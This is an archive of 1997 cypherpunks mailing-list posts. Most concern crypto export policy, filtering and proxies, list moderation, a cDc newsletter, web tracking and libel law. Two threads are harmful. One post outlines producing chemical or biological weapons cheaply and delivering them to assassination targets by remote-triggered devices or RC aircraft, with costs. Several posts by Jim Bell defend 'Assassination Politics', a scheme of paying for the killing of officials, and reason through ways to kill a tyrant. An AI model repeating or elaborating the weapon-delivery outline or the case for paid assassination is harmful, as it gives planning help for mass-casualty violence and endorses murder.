>try it myself.  But here's my proposed solution.  

>A plugin in Netscape intercepts all requests,  encrypt the URL
>with a pubkey algorithm, encode the string base64, send it as GET input to
>a proxy server.

>The proxy server decodes and decrypts the URL, gets the requested page,
>and returns it.  This beats out URL-based filtering.

Depends who is doing the filtering? If it's mom and dad keeping you from
looking at naughty pix, maybe.

If it's the gov't keeping you from looking at subversive sites, maybe not:
they'll go out of their way to block such proxies, and in some countries you
could get in hellish trouble for owning such a plug-in.

Rob







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Swamp Ratte <sratte@mindvox.com>
Date: Thu, 30 Jan 1997 07:26:16 -0800 (PST)
To: +specialperson@mindvox.com
Subject: cDc GD Update #21-1/97
Message-ID: <199701301526.HAA05653@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



  _   _
 ((___))
 [ x x ] cDc communications
  \   /  Global Domination Update #21
  (' ')  January 1st, 1997
   (U)
Est. 1984
                                                        FOR IMMEDIATE RELEASE
FOR MORE INFORMATION, CONTACT: sratte@mindvox.com

              CDC IS NEW FALLEN SNOW ON A BLEAK DESERT LANDSCAPE

cDc communications is tittering with joy on the birth of this shiny new year
to make two announcements.  We are the proud parents of ten bouncing new
articles in the continuing saga of the CULT OF THE DEAD COW publication.
These feisty little rugrats will put a smile on the face and a Brussels
sprout in the stomach with their hearty blend of entertainment and
information.  We also can now make public our "Good Times" virus hoax.

The Good Times meme was launched by cDc to prove the gullibility of
self-proclaimed "experts" on the Internet.

Any chickenhead would see through the Good Times virus message as the merest
wisp of smoke that it is, while the so-called experts ran around in circles,
beside themselves in self-induced panic.

Therefore, CULT OF THE DEAD COW claims FULL responsibility for the waves of
nausea and unrest that have spread from AOL to CompuServe to Prodigy by the
actions of egotistical 'experts' who roam the Information Superhighway like
squeegee men, seeking to wring a buck or two from the poor souls they
confront at every intersection and stoplight on the infobahn.

We have far worse to unleash upon you, should you insist upon pontificating
and spreading obvious falsehoods.

Heed well the motto of the Hell's Angels: "Those who know, don't tell.  Those
who tell, don't know."

We'd also like to take this opportunity to quell a nasty rumor: cDc has NOT
been bought-out over the past few months to ANYONE.  cDc, as always is 100%
independently owned and operated and has no outside sponsors.  Viacom and
Ziff-Davis, puh-leeze.

Coming soon: cDc presents AUDIO on the Internet via Tarkin Darklighter's
Shockwave site.  New releases from Weasel-MX, Gravelheaver, Tha Gates,
Superior Products, Grey Man, and Crucified Goat are on the way.
Also, The cDc Media List version 3 from Omega... something fresh for the
spring '97 fashion season.

      _   _                the tedium is  the message                _   _
     ((___))                INFORMATION IS JUNK MAIL                ((___))
     [ x x ]                _                                       [ x x ]
      \   /  _   |_|_   _ _|_  _|_ |_  _    _| _  _. _|   _ _        \   /
      (' ') (_|_|| |_  (_) |    |_ | |(/_  (_|(/_(_|(_|  (_(_)\_/\_/ (' ')
       (U)                                                            (U)
      .ooM                     cDc communications                    .ooM
  deal with it           NEW RELEASES FOR JANUARY, 1997:         deal with it

 ________________________________/text files\________________________________

321:"Nineteen Seventy-Seven" by OXblood Ruffin.  It was a good year...
     Star Wars, The Sex Pistols, the Apple II, and the Death of Elvis.
     And you thought they weren't connected?

322:"Pariah '67" by Matt Brown.  It's like _The Wonder Years_ with real
     blood.  Like Diet Coke with real sugar.  Who would've thought Paul would
     grow up to drum for Marilyn Manson?  Gosh.

323:"CYBERsitter" by Peacefire.  Overprotective parents are being led down
     the primrose path to potential pathos.  This is an important press
     release from the Peacefire organization concerning their efforts against
     the makers of the CYBERsitter Internet filtering software.

324:"Painted Stranger" by Weasel Boy.  Creepy-as-hell goth fiction.  People
     with monochromatic wardrobes and Victorian affectations, incest, tragic
     young death, The Beast.  You know the drill.  Hup hup!

325:"Zen of Skateboarding, Part 3: Flowing Stream" by Thoai Tran.  Skate and
     destroy.  Death to false skating.  The search for beauty and truth
     continues.

326:"The Great Southern Fire God" by John Crow.  Everything would be great
     if it weren't for those DAMN YANKEES (nevermind The Nuge, this is
     _serious bidness_).  Will the assembly please rise and join with me in
     singing "Sweet Home Alabama."

327:"Vulnerabilities in the S/KEY One-Time Password System" by Mudge.
     All that and a bucket of chicken wings.

328:"Pantslessness" by Mark Buda.  I don't know about you, but every time I
     go outside without pants, the squirrels poke at my BARE-NAKED POSTERIOR
     with twigs.  They ain't got covered rumps neither.  Freaks!

329:"Quadro-Pounder" by Drunkfux.  He wants lots of meat.  Huh-huh.

330:"Happyland Cell Block 90210" by G. Allen Perry.
    "Where am I?"
    "You're in a cheap run-down teenage jail, that's where."
    "Oh my God!"                                            -The Runaways

                            Reading is FUNdamental!

 _______________________________/ - x X x - \________________________________

Fools better recognize: CULT OF THE DEAD COW is a publication and trademark
of cDc communications.  Established in 1984, cDc is the largest and oldest
organization of the telecommunications underground worldwide, and inventor of
the "e-zine."  Every issue is produced on an Apple II for genuine old-school
flavor.  You thirst for our body of work, you know you do.  Find it at these
fine locations, among others:

World Wide Web: //www.l0pht.com/cdc.html
    FTP/Gopher: cascade.net in pub/cDc
        Usenet: alt.fan.cult-dead-cow
           BBS: 806/794-4362 Entry:KILL

For further information, contact:

         Email: sratte@mindvox.com
        Postal: POB 53011, Lubbock, TX, 79453, USA

Sincerely,

Grandmaster Ratte'
cDc/Editor, Fearless Leader, and Pontiff
"We're into telecom for the groupies and money."

                                     ####
By THE NIGHTSTALKER and GRatte'.
Copyright (c) 1997 cDc communications.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Wed, 29 Jan 1997 21:57:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: A comment on the censorship policy
Message-ID: <199701300557.VAA23974@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




I cannot understand how some of my (accurate) criticisms of Sandfort's
censorhip polices---some in direct response to his own self-serving posts
declaring himself not to be a flamer himself---are not making it to the
"New and Improved Censored List," while inane posts from Toto, Thorn, and
someone named "Nurdane Oksas" are appearing.

(Oksas has the especially annoying habit of quoting entire posts and then
appending a one-line piece of completely list-irrelevant fluff. Also,
engaging in lovey-dovey posts with Vulis, who writes messages about how he
longs to see Oksas naked.)

This whole process is showing the worst of Sandfort's censorship policy.

(If this is dumped into the "Not suitable for Cypherpunks to read" list, I
urge those of you who see it to pass it on to the main list.)

END

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 30 Jan 1997 07:26:13 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: The Politics of Export Restrictions
Message-ID: <199701301526.HAA05647@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Agreed. It's the Republicans who are the most adamantly pro-crypto. They'd
love to use it as a noose to hang Gore in 2000. If Gore switches positions
-- which I think unlikely -- it'll just be another area where both parties
agree. A minor point: since Gore has been the chief crypto-critic of this
administration, if he switched he'd leave himself open to charges of
waffling. 

Then again, some administration officials tell me they expect this debate
to be resolved within a year, so go figure.

-Declan


On Wed, 29 Jan 1997, Greg Broiles wrote:

> At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:
> 
> >Is it possible the unreasonable crypto export restrictions are simply being
> >imposed at this time for the purpose of making Al Gore look good when he
> >runs for President in 2000?
> 
> I suppose it's plausible, but it's an opportunity open to both candidates,
> and more plausibly (because of lack of collaboration) to the Republicans -
> e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
> to rescue Silicon Valley from those evil regulatory Democrats. 
> 
> If I were an evil politician trying to set up a trick like you suggest, I
> think I'd want a scheme that my opponent(s) couldn't hijack and use against
> me.
> 
> --
> Greg Broiles                | US crypto export control policy in a nutshell:
> gbroiles@netbox.com         | 
> http://www.io.com/~gbroiles | Export jobs, not crypto.
>                             | 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Thu, 30 Jan 1997 07:26:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
Message-ID: <199701301526.HAA05652@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


 According to Duncan Frissell <frissell@panix.com>

> "In an interview Tuesday, [David L.] Aaron [the Feds' Crypto Ambassador] disputed the
{snip}
> "When I talk to other governments," he said, "they still don't feel...


===(mis)quoted, paraphrased, and enhanced from current news reports===

The Clinton administration's newly named point man on encryption policy is citing
international support for U.S. policies limiting use of encryption and called for
industry cooperation. 

Speaking to the RSA Data Security Conference in San Francisco, David
Aaron said that U.S. allies support the concept of lawful access by
governments and the use of key recovery mechanisms. 

The White House's continued restrictions on encryption have been unpopular in the
cryptography community and among major U.S. corporations and high tech companies
because of the business disadvantage vis a vis foreign firms.

Aaron alleges that U.S. trading partners have misgivings about the 
U.S. government's decision in October to allow 'moderately strong' 56-bit encryption,
to be exported, under controlled circumstances, but were willing to cooperate on the
policy. 

"As far as I can see, the international encryption market will not be 
a free-wheeling affair," he said, adding companies should consider that 
lawful access and key escrow capabilities may become "a growthe 
industry"

In his speech, Aaron also listed cases where the U.S. government said 
encryption was used in terrorist plots, drug dealing, child pornography 
and espionage, adding the White House, "in no way seeks to expand law 
enforcement powers nor reduce the privacy of individuals." 

Independent experts strongly disagreed with Aaron's characterization of the
international posture following his address here, and leading U.S. legislators
said they would continue to push for further reform of the restrictions. 

"I just don't think it will work," Sen. Conrad Burns, a Montana 
Republican who has been behind the legislative effort to promote use 
of stronger levels of encryption, said of the White House encryption 
policy. 

"I think if bad people want to do bad things to good people, they 
certainly won't want to file their key (with any law enforcement 
authorities)," Burns said in a satellite conference.

Marc Rotenberg, director of the Washington, D.C.-based Electronic 
Privacy Information Center, rebutted Aaron's suggestion that 
Washington has broad international support for its concept of lawful access by 
governments to the keys to encrypted files and communications. 

Rotenberg said at the recent Organization of Economic Cooperation and 
Development (OECD) meetings on encryption policy, that was not the 
case, nor were a number of countries pushing for stronger controls, as 
Aaron said they had been. 

Germany, Australia, Japan and Canada all are advancing competing cryptography 
capabilities, according to Rotenberg.

Thomas M. McGhan
tmcghan@gill-simpson.com
http://www.gill-simpson.com
voice:       (410) 467-3335
fax:         (410) 235-6961
pagenet:     (410) 716-1342
cellular:    (410) 241-9113
ICBM:        39.395N 76.469W





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 30 Jan 1997 09:28:23 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Fighting the cybercensor
Message-ID: <199701301728.JAA09025@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Sean Roach wrote:
>> At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>> >I think a hole in your thinking is to assume that the assasins have no
>> >motive other than financial gain.  I would submit that there are those that
>> >have the skills, training and a political agenda coherent with the
>> >wagerers, lacking only the financial incentive to make the risks
>> >acceptable.  These wetworkers won't consider accepting the bribe of the
>> >rich/powerful
>
>> This may be true, but the example was to show how easy a defensive line
>> could be thrown up around the powerful.  For example, conventional body
>> guards could be included, ones with no real pay but with the fore knowledge
>> that they will be buried with the tyrant.  These body guards could be ten
>> children out of each local village.  Merely a human shield.
>
>[snippo]
>
>In Prizzi's Honor, Nicholson sez "If you try to hide in a submarine on
>the bottom of the ocean, we will find you".  But it's not even that
>difficult.  Lob a missile into the place and blow it up.  Earth
>penetrators are getting better too, for the Sadaam types.  And
>there's a zillion more.  Does this "rich person" really want to
>spend his/her life living in a sealed tomb?

Yep. Chemical Biological Weapons (CBW), the choice of many future
terrorists and assassins, can now be produced by anyone with a solid
background in organic chemistry or microbiology and a relatively modest
amount of funding (< USD 10,000).

Delivery can be by any number of means, including: static (e.g., planted at
a location in wait for the target and remotely triggered, for example by a
pager. Cost less than USD 500) or dynamic (e.g., a small remotely piloted
or autonomous aircraft, for example, a modified giant-scale RC plane.  Cost
less than USD 3000 if remotely controlled, USD 5000-10,000 if autonomous
using DGPS guidance).  EE experience is assumed.

If the assassin is unconcerned with collateral damage his success depends
only on knowing where his target will be and when.  Since CBW agents can
have a considerable kill zone there is no need for 'crosshair' accuracy.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 30 Jan 1997 11:12:57 -0800 (PST)
To: Leonid S Knyshov <wiseleo@juno.com>
Subject: Re: Altavista
Message-ID: <199701301912.LAA12116@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Leonid S Knyshov writes:
 
[about targeted webvertising using stats gathered by tracking browsers]

 
> I think it is a good idea, no wonder doubleclick.net is one of the
> leaders in advertising. You are shown only the ads that will potentially
> interest you, search for shopping and you are gonna get one of those ISN
> ads etc. 
> 
> I think it is a good idea FWIW.
> 
> I wouldn't think that a company such as doubleclick.net will do you any
> harm.

Probably not.  But the practice still bothers me.  _I_ want to control
what information about me others can have.  I do not want the precedent
set that on the Net, what you do is trackable by every organization
who might care.  Sooner or later someone _would_ use that information to
hurt me.

That's why I wrote cookie jar, a program that lets the user have better
control over which 'cookies' if any they release to web servers, and
what other information their browser gives out.  See
http://www.lne.com/ericm/cookie_jar/ for details and code.


> >Interestingly, I've just noticed over the last couple of days that the 
> >in-line
> >ads are directly relevant to the search words I enter. I did a search 
> >yesterday
> >on "Quicken" and "security" and all the in-line ads I was shown 
> >referred to
> >security or penetration detection products.


This doesn't bother me as much (besides the fucking ads, which I
hate... maybe I'll make cookie jar smart enough to nuke them).
The reason is that the ads are selected based on what you typed in
to the search engine right then- there's no tracking involved like
with Doubleclick.



-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Thu, 30 Jan 1997 07:27:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypt_3.html
Message-ID: <199701301527.HAA05668@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: Kodak To Buy Wang Software Business
   Next Story: Netscape Counts On User Upgrades In 1997
     _________________________________________________________________
                                      
   Wednesday January 29 3:26 PM EST 
   
U.S. Encryption Envoy Seeks Industry Cooperation

   SAN FRANCISCO - The Clinton administration's newly named point man on
   encryption policy is citing international support for U.S. policies
   limiting use of encryption and called for industry cooperation.
   
   Ambassador David Aaron, special envoy for cryptography, said on a
   speech to the RSA Data Security Conference in San Francisco that U.S.
   allies support the concept of lawful access by governments and the use
   of key recovery mechanisms.
   
   Key recovery would involve storing encoding keys in escrow so
   authorities could get access to them to unscramble data in an
   emergency, such as to uncover criminal activity.
   
   The White House's continued restrictions on encryption have been
   unpopular in the cryptography community and among major U.S.
   corporations and high tech companies, which argue the limitations put
   U.S. business at a disadvantage.
   
   Aaron said some U.S. trading partners have misgivings about the U.S.
   government's decision in October to relax U.S. export controls to
   allow export of moderately strong 56-bit encryption, but were willing
   to cooperate on the policy.
   
   "As far as I can see, the international encryption market will not be
   a free-wheeling affair," he said, adding companies should consider
   that lawful access and key escrow capabilities may become "a growing
   international requirement."
   
   In his speech, Aaron also listed cases where the U.S. government said
   encryption was used in terrorist plots, drug dealing, child
   pornography and espionage, adding the White House, "in no way seeks to
   expand law enforcement powers nor reduce the privacy of individuals."
   
   But some independent experts who monitor cryptography policy disagreed
   with Aaron's characterization of the international posture following
   his address here, and leading U.S. legislators said they would
   continue to push the White House to further liberalize the
   restrictions.
   
   "I just don't think it will work," Sen. Conrad Burns, a Montana
   Republican who has been behind the legislative effort to promote use
   of stronger levels of encryption, said of the White House encryption
   policy.
   
   "I think if bad people want to do bad things to good people, they
   certainly won't want to file their key (with any law enforcement
   authorities)," he told conference attendees over a satellite linkup.
   
   Burns appeared in the linkup with three legislative colleagues to
   stress that together they would push to put "get the administration
   out in front of the cryptography curve."
   
   Marc Rotenberg, director of the Washington, D.C.-based Electronic
   Privacy Information Center, rebutted Aaron's suggestion that
   Washington has broad international support for its concept of lawful
   access by governments to the keys to encrypted files and
   communications.
   
   Rotenberg said at the recent Organization of Economic Cooperation and
   Development (OECD) meetings on encryption policy, that was not the
   case, nor were a number of countries pushing for stronger controls, as
   Aaron said they had been.
   
   In fact, countries such as Japan, Germany, Australia and Canada all
   have competing cryptography capabilities they are promoting, he added.
   
   The OECD guidelines are due to be published next month.
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
   Earlier Related Stories
     * Encryption Export Bill Backed In Senate - Wed Jan 29 9:54 am
       
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                            Entertain | Health ]
                                      
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    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 30 Jan 1997 07:40:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: KOW_tow
Message-ID: <199701301540.HAA05946@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


1-28-97:

"New Crypto Engines From Trusted Information Systems Allow Easy
International Use of Strong Encryption "

  By supporting any application that calls for the use of algorithms such 
  as DES, Triple-DES, or 128-bit RC2 or RC4, "this product will allow 
  Windows users to use encryption as easily as they use a mouse. 
  Previously, if developers wanted to use encryption in their products, they 
  had to consider writing two different versions, dealing with changing 
  export regulations, and so on. Now, they can write one version of the 
  program and sell it worldwide, knowing that the CSP will handle the 
  encryption legally and safely."

"Two Companies Set to Offer Key Recovery Services Using Technology
from TIS "

  SourceKey and Data Securities International (DSI) have applied
  for approval to operate Key Recovery Centers to support
  exported encryption products. TIS also announced today that it is in 
  negotiations with  the National Computing Centre, Ltd. of the U.K. and 
  Philips Crypto BV of the Netherlands to license the first non-U.S.-based 
  Key Recovery Centers for third party use.

"Burns Prepares To Reintroduce Encryption Bill"

  "This time around," Burns said, "we intend to put a bill on the
  President's desk and find out if he is truly on the side of the
  users and providers of rapidly expanding high-tech goods and
  services." It would prohibit a mandatory system under which
 producers or users of hardware and software would be required
 to surrender a decoding "key" to a third party.

-----

KOW_tow






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Thu, 30 Jan 1997 11:12:40 -0800 (PST)
To: Angooki Taipu <atb@purple.reddesign.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701301912.LAA12067@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Remember, Aaron is employee of the government.  He talks in doublespeak,

	Aaron is employee of the government. Therefore he must lie.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 11:13:57 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701301913.LAA12184@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:22 AM 1/29/97 -0800, Greg Broiles wrote:
>At 10:42 PM 1/28/97 -0600, Jim Choate wrote:
>
>>It has been asserted by at least one member that the 1st Amendment protects
>>libelous or other defamatory speech. 
>
>Defamation is not protected by the First Amendment; but the First Amendment
>limits the application of defamation law in many circumstances. For
>example, the First Amendment requires plaintiffs to prove "actual malice"
>if they are a public official, public figure, or a private person seeking
>punitive damages.

What you ought to explain to us laymen is that the terminology "actual 
malice" dates from the case New York Times vs. Sullivan, and it used a 
definition of "malice" that was not in any dictionary at the time.  

My recollection:

Sullivan was a local hero in a particular area in the south in the last 50's 
(?), gave a speech to a crowd of (?) people who were probably in sympathy 
with segregation.  They proceeded to march.   Later, the New York Times 
claimed (as I vaguely recall it, although it's been years since I read a 
description) that he had instigated a riot.  

Sullivan sued, claiming his reputation had been damaged.  Arguably, it had, 
although it's probably equally arguable that Sullivan had done something 
that would have been looked upon somewhat unsympathetically by 
non-Southerners.  The local (southern, of course) jury found NYT guilty of 
libel, and awarded Sullivan some huge judgment.    (Had the jury been made 
up of northern people, presumably Sullivan would have lost.)


The problem here is that two long-honored principles collided:  One, the 
"free speech" issue, generally tries to guarantee organizations like NY 
Times the right to print the news and the leeway to do so.  The second  
principle that people should be able to sue for libel in a local court, and 
be awarded whatever amount of money the jury declares.  The problem with 
this was obvious, after the verdict:  It, in effect, allowed essentially any 
burg in the country, no matter how backwards, potentially to bankrupt any 
targeted organ of the national news media.  Something had to give.

Unfortunately, the SC screwed up, as usual.  The proper thing for them to do 
would have been to abandon libel law entirely, recognizing that it did more 
harm than good.  But they blew it:  They invented the "actual malice" 
standard out of whole cloth, raising the standard for libel suits by "public 
figures," which is really a rather arbitrary standard.  Don't go to any 
ordinary English dictionary for this "malice" definition; it didn't exist 
before the Sullivan decision, not even in lawbooks.  It was really just a 
rabbit pulled from a hat to try to avoid the collision I mentioned above.  

Side note:  I think that the SC should be unable to re-define ordinary 
English words.  But they try anyway.

Basically, it became harder to sue well-known persons.  However, what really 
happened is that they SC had merely put off the problem for another day, 
because the DEFINITION of a "public figure" was at least as malleable as 
Jell-O.   And oddly, it was eventually revealed that you could be a "public 
figure" with respect to one subject, but NOT a "public figure" on another.  
Etc.

Ironically, now that Richard Jewell (incorrectly identified as Atlanta 
bombing suspect) has sued some newspapers (and his former employer) for 
libel, it seems likely that at least some of those defendants will try to 
argue that merely being named by the government as a criminal suspect makes 
him "a public figure."


BTW, I think that pressing the Richard Jewell incident would be an excellent 
way to derail any sort of claim that the government can obey the law.  
Apparently, they got a number of search warrants based on, essentially, 
nothing, and to rub this in the government's nose would show that the 
so-called "probable-cause" standard for warrants is not followed in practice.











Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 11:13:33 -0800 (PST)
To: Dale Thorn <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701301913.LAA12143@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:05 PM 1/28/97 -0800, Dale Thorn wrote:

>I dare say that the downside of this is much less pleasant than the
>virtual anarchy (in the bad sense) we suffer now.  If the police get
>out of control, A.P. will arrive just in time to plug a few of those
>holes, so to speak.  Ideally, future robotics should be able to
>provide something like Gort (sp?) to take the place of human officers,
>given advances in the kind of pattern matching needed to deter
>aggression and the like.  Those who don't make it past the robots,
>well, the rest of us can learn to behave, and we'll be much better
>off when we do.


Your comparison with the fictional Gort, in the movie "The day the earth 
stood still" is of course apt.  It was only after I'd written most of the 
essay that I realized that an AP-type system would function much as Gort did.  

Occasionally we (CP) see a spoof where somebody claims to have developed a 
software program to "replace the judicial system" or something like that.  
Well, the problem with such a claim (aside from the obvious and enormous 
AI-type difficulties) is that the current system contains numerous biases.  
Writing a program to replace the legal system would presumably require that 
these biases be measured (and admitted-to!) and implemented into a 
well-defined system.  

What we'd discover is that the current system only barely resembles the 
guarantees in the US Constitution. At that point, there would be an argument 
between those who will insist that the Constitution be followed, and those 
who believe that the current de-facto system, however biased, be maintained 
as-is.  

 

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 11:13:48 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701301913.LAA12159@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:16 PM 1/28/97 -0800, Sean Roach wrote:
>At 10:47 PM 1/27/97 -0800, jim bell wrote:
>>In the current political system, in the US for instance, 51% of the 
>>population is able to screw the remaining 49%, just as long as they can 
>>maintain the majority.  Or, perhaps even more accurately and ominously, a 
>>tiny fraction of the population (the current leadership class) is able to 
>>screw the 49%, as long as they have the un-thinking backing of the remaining 
>>and relatively uninvolved 51%.
>>
>>AP disables this system.  AP turns government into the moral equivalent of a 
>>pick-up football game:  Nobody is being forced to play, and everybody and 
>>anybody can simply "get up and leave" whenever he wants to.  The moment the 
>>"rules of the game" to make an individual's continued participation 
>>unsatisfying, he can leave.
>>
>...
>In our society, which, if I remember correctly, 10% of the population
>control 90% of the wealth, AP would only lead to 10% of the population being
>able to screw the remaining 90%.  At least as it is, it takes a simple 
majority.

No, that doesn't work.  AP does involve money, that's true, but what "the 
poor" lack in individual assets they make up for in numbers.   And AP 
implements a sort of "mutual disarmament," by not only preventing that 10% 
from screwing the 90%, but also prevents the 90% from screwing the 10%.   

>As for the murder of the rich, here is a scenerio.
>
>A collection of poor pool their capitol to have a tyrant killed.
>The tyrant assembles a counter-wager saying that anyone able to prove thier
>ability to kill him without harming him, and who can show they got through
>will get 110% of the poor's bid.

Question:  Where does he get the money for the reward?  If he gets it 
through taxation, he'll anger the people who were taxed and they'll pay to 
see him die.  If he got in through taxation in the past, enough people will 
STILL be angry enough with him to see him dead.  His employees (the ones who 
probably have the most opportunity to kill him) would be made just about as 
wealthy by killing him as taking him up on his odd offer.  Worse, for him, 
is that he'd lose money paying off those people if they showed they could 
have "succeeded."  Even if they were not motivated to actually kill him, 
they'd be motived to SHOW they could kill him, and notice that they'll 
become just about as rich for KILLING him as merely showing they can!  

Notice that your idea also assumes that an employee has to become willing 
to, in effect, plot against his employer in such a way that he can be 
assured that his actions won't be incorrectly interpretated as a genuine 
assassination attempt. How can you (or anyone else?) tell the difference 
until the plan either succeeds or fails?)  Moreover, how can the employee 
trust that his boss will actually honor his promise?

I think you're also (falsely) assuming that a deliberately-unsuccessful 
assassination demonstration immunizes the tyrant from a repeat performance.  
True, it's often useful to know what kinds of attacks are possible, but that 
doesn't mean that the system can be fixed to prevent future repetitions...

The tyrant, then, either loses his life or a lot of money, and he still 
can't trust anybody.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 30 Jan 1997 11:12:54 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701301912.LAA12108@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:41 AM 1/30/97 -0800, Bill Stewart wrote:
>I think we do need to get some sort of push going for 3DES as a
>replacement for DES - it's strong enough, even though DES is showing
>its age, and it's an obvious transition from the current technology.
>It's slower and clunkier than IDEA or RC4/128, but still not bad.

The migration to 3DES is underway, at least in the banking sector. ANSI
X.9, the group that deals with many of the protocols used in the banking
industry, has made tremendous progress. 3DES, elliptic curve, and a host of
other improvements all are out of committee and should be available as
official (for bankers :-) specs soon, if they aren't already.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 30 Jan 1997 14:28:08 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701302228.OAA19229@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:41 AM 1/30/97 -0800, Bill Stewart wrote:
>I think we do need to get some sort of push going for 3DES as a
>replacement for DES - it's strong enough, even though DES is showing
>its age, and it's an obvious transition from the current technology.
>It's slower and clunkier than IDEA or RC4/128, but still not bad.

The migration to 3DES is underway, at least in the banking sector. ANSI
X.9, the group that deals with many of the protocols used in the banking
industry, has made tremendous progress. 3DES, elliptic curve, and a host of
other improvements all are out of committee and should be available as
official (for bankers :-) specs soon, if they aren't already.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iamme <ja94a08@tdi.itm.edu.my>
Date: Wed, 29 Jan 1997 20:40:48 -0800 (PST)
To: mst114@psu.edu
Subject: Re:re : Best Computer School?
Message-ID: <199701300440.UAA22440@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


what about purdue and caltech ?
anyone has Carnegie Mellon University (C.M.U.) in Pittsburgh www ?
he he man





> From owner-cypherpunks@toad.com Wed Jan 29 14:57 SGT 1997
> Date: Tue, 28 Jan 1997 20:23:53 -0500
> From: Matthew Toth <mst114@psu.edu>
> To: SpyKing <spyking@thecodex.com>
> Cc: cypherpunks@toad.com
> Subject: Re: Best Computer School?
> 
>         MIT is one the best schools in the country for C.S.
>         Close behind is Carnegie Mellon University (C.M.U.) in Pittsburgh,
> PA. (the folks who put out CERT.) Not sure how much Crypto they do, though.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 12:15:51 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701302015.MAA14691@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


What you're presented (included in its entirety below) is what I've come to 
call an "AP story problem."   I've worked through many of those myself; 
their main problem is that they don't carefully describe why _each_ person 
in the "play" you've described would be motivated to do what it's claim he 
does, and why he DOES NOT do other things to fix the situation he's in.  
Remember, I'm not merely talking about the main character, but also the ones 
who are (apparently?) incidental.  

For just one example, you said:    "conventional bodyguards could be 
included, ones with no real pay but with the fore knowledgethat they will be 
buried with the tyrant."

What motivates these people?  Are they hostages?  If they're hostages, then 
presumably that means they're motivated to seek the death of anyone who is 
